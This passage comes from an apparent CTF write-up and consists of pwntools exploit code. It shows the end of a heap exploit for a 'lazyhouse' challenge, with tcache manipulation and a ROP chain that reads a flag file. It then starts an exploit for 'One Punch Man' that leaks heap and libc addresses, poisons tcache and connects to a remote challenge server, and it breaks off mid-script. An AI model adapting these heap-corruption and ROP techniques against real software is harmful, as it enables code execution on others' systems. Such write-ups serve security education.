buy(<span class="hljs-number">0</span>,<span class="hljs-number">0x1a0</span>,p64(<span class="hljs-number">0</span>)*<span class="hljs-number">15</span>+p64(<span class="hljs-number">0x6c1</span>))
buy(<span class="hljs-number">1</span>,<span class="hljs-number">0x210</span>,<span class="hljs-string">"a"</span>)
buy(<span class="hljs-number">2</span>,<span class="hljs-number">0x210</span>,<span class="hljs-string">"a"</span>)
remove(<span class="hljs-number">2</span>)
buy(<span class="hljs-number">2</span>,<span class="hljs-number">0x210</span>,<span class="hljs-string">"\x00"</span>*<span class="hljs-number">0x148</span>+p64(<span class="hljs-number">0xd1</span>))
remove(<span class="hljs-number">2</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>):
buy(<span class="hljs-number">2</span>,<span class="hljs-number">0x210</span>,<span class="hljs-string">"a"</span>)
remove(<span class="hljs-number">2</span>)
buy(<span class="hljs-number">2</span>,<span class="hljs-number">0x3a0</span>,<span class="hljs-string">"a"</span>)
remove(<span class="hljs-number">2</span>)
remove(<span class="hljs-number">1</span>)
buy(<span class="hljs-number">1</span>,<span class="hljs-number">0x220</span>,<span class="hljs-string">"a"</span>)
remove(<span class="hljs-number">5</span>)
buy(<span class="hljs-number">5</span>,<span class="hljs-number">0x6b0</span>,<span class="hljs-string">"\x00"</span>*<span class="hljs-number">0xa0</span>+p64(heap+<span class="hljs-number">0x40</span>)+<span class="hljs-string">"\x00"</span>*<span class="hljs-number">0x80</span>+p64(<span class="hljs-number">0x221</span>)+p64(libc+<span class="hljs-number">0x1e4eb0</span>)+p64(heap+<span class="hljs-number">0x40</span>))
remove(<span class="hljs-number">1</span>)
buy(<span class="hljs-number">1</span>,<span class="hljs-number">0x210</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x18</span>+flat(
<span class="hljs-string">"/home/lazyhouse/flag"</span>.ljust(<span class="hljs-number">0x20</span>,<span class="hljs-string">"\x00"</span>),
libc+<span class="hljs-number">0x26542</span>,heap+<span class="hljs-number">0xa88</span><span class="hljs-number">-0x20</span>,libc+<span class="hljs-number">0x26f9e</span>,<span class="hljs-number">0</span>,libc+<span class="hljs-number">0x47cf8</span>,<span class="hljs-number">2</span>,libc+<span class="hljs-number">0x00cf6c5</span>,
libc+<span class="hljs-number">0x26542</span>,<span class="hljs-number">0x3</span>,libc+<span class="hljs-number">0x26f9e</span>,heap,libc+<span class="hljs-number">0x12bda6</span>,<span class="hljs-number">0x100</span>,libc+<span class="hljs-number">0x47cf8</span>,<span class="hljs-number">0</span>,libc+<span class="hljs-number">0x00cf6c5</span>,
libc+<span class="hljs-number">0x26542</span>,<span class="hljs-number">0x1</span>,libc+<span class="hljs-number">0x26f9e</span>,heap,libc+<span class="hljs-number">0x12bda6</span>,<span class="hljs-number">0x100</span>,libc+<span class="hljs-number">0x47cf8</span>,<span class="hljs-number">1</span>,libc+<span class="hljs-number">0x00cf6c5</span>,
libc+<span class="hljs-number">0x36784</span>
))
buy(<span class="hljs-number">2</span>,<span class="hljs-number">0x210</span>,p64(<span class="hljs-number">0</span>)*<span class="hljs-number">0x20</span>+p64(libc+<span class="hljs-number">0x1e4c30</span>))
Super(p64(libc+<span class="hljs-number">0x0058373</span>)+<span class="hljs-string">"z"</span>*<span class="hljs-number">0x200</span>)
remove(<span class="hljs-number">1</span>)
buy(<span class="hljs-number">1</span>,heap+<span class="hljs-number">0xa80</span>,<span class="hljs-string">"a"</span>)
r.interactive()</code></pre><h3 id="one-punch-man"><a class="header-link" href="#one-punch-man"></a>One Punch Man</h3>
<pre class="hljs"><code>#!/usr/bin/env python
# -*- coding: utf-<span class="hljs-number">8</span> -*-
from pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> <span class="hljs-built_in">time</span>
<span class="hljs-keyword">import</span> random
host = <span class="hljs-string">'52.198.120.1'</span>
port = <span class="hljs-number">48763</span>
binary = <span class="hljs-string">"./one_punch"</span>
context.binary = binary
elf = ELF(binary)
try:
libc = ELF(<span class="hljs-string">"./libc.so.6"</span>)
<span class="hljs-built_in">log</span>.success(<span class="hljs-string">"libc load success"</span>)
system_off = libc.symbols.system
<span class="hljs-built_in">log</span>.success(<span class="hljs-string">"system_off = "</span>+hex(system_off))
except:
<span class="hljs-built_in">log</span>.failure(<span class="hljs-string">"libc not found !"</span>)
def <span class="hljs-keyword">name</span>(index, <span class="hljs-keyword">name</span>):
r.recvuntil(<span class="hljs-string">"> "</span>)
r.sendline(<span class="hljs-string">"1"</span>)
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(str(index))
r.recvuntil(<span class="hljs-string">": "</span>)
r.send(<span class="hljs-keyword">name</span>)
pass
def rename(index,<span class="hljs-keyword">name</span>):
r.recvuntil(<span class="hljs-string">"> "</span>)
r.sendline(<span class="hljs-string">"2"</span>)
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(str(index))
r.recvuntil(<span class="hljs-string">": "</span>)
r.send(<span class="hljs-keyword">name</span>)
pass
def d(index):
r.recvuntil(<span class="hljs-string">"> "</span>)
r.sendline(<span class="hljs-string">"4"</span>)
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(str(index))
pass
def show(index):
r.recvuntil(<span class="hljs-string">"> "</span>)
r.sendline(<span class="hljs-string">"3"</span>)
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(str(index))
def magic(<span class="hljs-keyword">data</span>):
r.recvuntil(<span class="hljs-string">"> "</span>)
r.sendline(str(<span class="hljs-number">0</span>xc388))
<span class="hljs-built_in">time</span>.sleep(<span class="hljs-number">0.1</span>)
r.send(<span class="hljs-keyword">data</span>)
<span class="hljs-keyword">if</span> len(sys.argv) == <span class="hljs-number">1</span>:
r = process([binary, <span class="hljs-string">"0"</span>], env={<span class="hljs-string">"LD_LIBRARY_PATH"</span>:<span class="hljs-string">"."</span>})
<span class="hljs-keyword">else</span>:
r = remote(host ,port)
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
<span class="hljs-keyword">name</span>(<span class="hljs-number">0</span>,<span class="hljs-string">"A"</span>*<span class="hljs-number">0</span>x210)
d(<span class="hljs-number">0</span>)
<span class="hljs-keyword">name</span>(<span class="hljs-number">1</span>,<span class="hljs-string">"A"</span>*<span class="hljs-number">0</span>x210)
d(<span class="hljs-number">1</span>)
show(<span class="hljs-number">1</span>)
r.recvuntil(<span class="hljs-string">" name: "</span>)
heap = u64(r.recv(<span class="hljs-number">6</span>).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">"\x00"</span>)) - <span class="hljs-number">0</span>x260
print(<span class="hljs-string">"heap = {}"</span>.format(hex(heap)))
<span class="hljs-keyword">for</span> i <span class="hljs-built_in">in</span> xrange(<span class="hljs-number">5</span>):
<span class="hljs-keyword">name</span>(<span class="hljs-number">2</span>,<span class="hljs-string">"A"</span>*<span class="hljs-number">0</span>x210)
d(<span class="hljs-number">2</span>)
<span class="hljs-keyword">name</span>(<span class="hljs-number">0</span>,<span class="hljs-string">"A"</span>*<span class="hljs-number">0</span>x210)
<span class="hljs-keyword">name</span>(<span class="hljs-number">1</span>,<span class="hljs-string">"A"</span>*<span class="hljs-number">0</span>x210)
d(<span class="hljs-number">0</span>)
show(<span class="hljs-number">0</span>)
r.recvuntil(<span class="hljs-string">" name: "</span>)
libc = u64(r.recv(<span class="hljs-number">6</span>).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">"\x00"</span>)) - <span class="hljs-number">0</span>x1e4ca0
print(<span class="hljs-string">"libc = {}"</span>.format(hex(libc)))
d(<span class="hljs-number">1</span>)
rename(<span class="hljs-number">2</span>,p64(libc + <span class="hljs-number">0</span>x1e4c30))
<span class="hljs-keyword">name</span>(<span class="hljs-number">0</span>,<span class="hljs-string">"D"</span>*<span class="hljs-number">0</span>x90)
d(<span class="hljs-number">0</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-built_in">in</span> xrange(<span class="hljs-number">7</span>):
<span class="hljs-keyword">name</span>(<span class="hljs-number">0</span>,<span class="hljs-string">"D"</span>*<span class="hljs-number">0</span>x80)
d(<span class="hljs-number">0</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-built_in">in</span> xrange(<span class="hljs-number">7</span>):
<span class="hljs-keyword">name</span>(<span class="hljs-number">0</span>,<span class="hljs-string">"D"</span>*<span class="hljs-number">0</span>x200)
d(<span class="hljs-number">0</span>)
<span class="hljs-keyword">name</span>(<span class="hljs-number">0</span>,<span class="hljs-string">"D"</span>*<span class="hljs-number">0</span>x200)
<span class="hljs-keyword">name</span>(<span class="hljs-number">1</span>,<span class="hljs-string">"A"</span>*<span class="hljs-number">0</span>x210)
<span class="hljs-keyword">name</span>(<span class="hljs-number">2</span>,p64(<span class="hljs-number">0</span>x21)*(<span class="hljs-number">0</span>x90/<span class="hljs-number">8</span>))
rename(<span class="hljs-number">2</span>,p64(<span class="hljs-number">0</span>x21)*(<span class="hljs-number">0</span>x90/<span class="hljs-number">8</span>))
d(<span class="hljs-number">2</span>)
<span class="hljs-keyword">name</span>(<span class="hljs-number">2</span>,p64(<span class="hljs-number">0</span>x21)*(<span class="hljs-number">0</span>x90/<span class="hljs-number">8</span>))